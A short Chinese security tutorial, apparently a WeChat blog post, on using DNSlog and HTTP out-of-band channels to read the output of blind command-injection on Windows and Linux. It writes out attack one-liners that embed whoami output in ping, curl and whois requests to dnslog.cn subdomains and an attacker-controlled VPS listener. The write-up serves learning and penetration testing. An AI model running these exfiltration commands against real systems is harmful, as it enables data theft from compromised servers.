前言
碰到无回显的命令执行漏洞,可以通过dnslog外带来获取命令执行后的结果,从而方便我们来判断命令是否执行成功以及进行更深层次的利用。之前并没有了解dnslog外带在windows和linux服务器上的区别,恰好面试问到了这个问题,觉得这个值得去学习一下,于是写下这篇文章来记录如何在windows和linux下通过dnslog外带获取无回显命令执行的结果。
dnslog外带利用原理
将需要查询的值和域名拼接起来,向域名发送请求,DNS在解析的时候会留下日志,读取日志便可以获取信息。
windows环境
1.for命令+ping命令
命令示例:for /F "delims=" %i in ('whoami') do ping %i.xxx.dnslog.cn
执行命令,成功在dnslog平台获取到命令执行的结果,如下:
2.for命令+curl命令
命令示例:for /F "delims=" %i in ('whoami') do curl http://192.168.43.190:8000/%i
首先vps上开启一个http服务,接着执行命令结果如下:
3.%用户变量%
可以直接通过%用户变量%来获取信息,如下
linux环境
1.反引号+ping命令
命令示例:ping `whoami`.foxd5a.dnslog.cn
2.$()+ping命令
命令示例:ping $(whoami).dyy8n3.dnslog.cn
3.curl命令
命令示例:curl http://192.168.43.190:8000/`whoami`
4.whois命令
命令示例:whois -h 192.168.233.128 -p 8888 `whoami`
vps上nc开启监听,获取到命令执行结果如下:
参考链接:https://mp.weixin.qq.com/s/29leAcZlIo9aOSWdRTfcQg
学习交流群
点击下方名片进入公众号,欢迎关注!
往期推荐
Nuclei Fuzzer 实战指南:自动化 Web 应用安全测试的优化与实践
原文始发于微信公众号(随风安全):dnslog外带利用之无回显命令执行
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论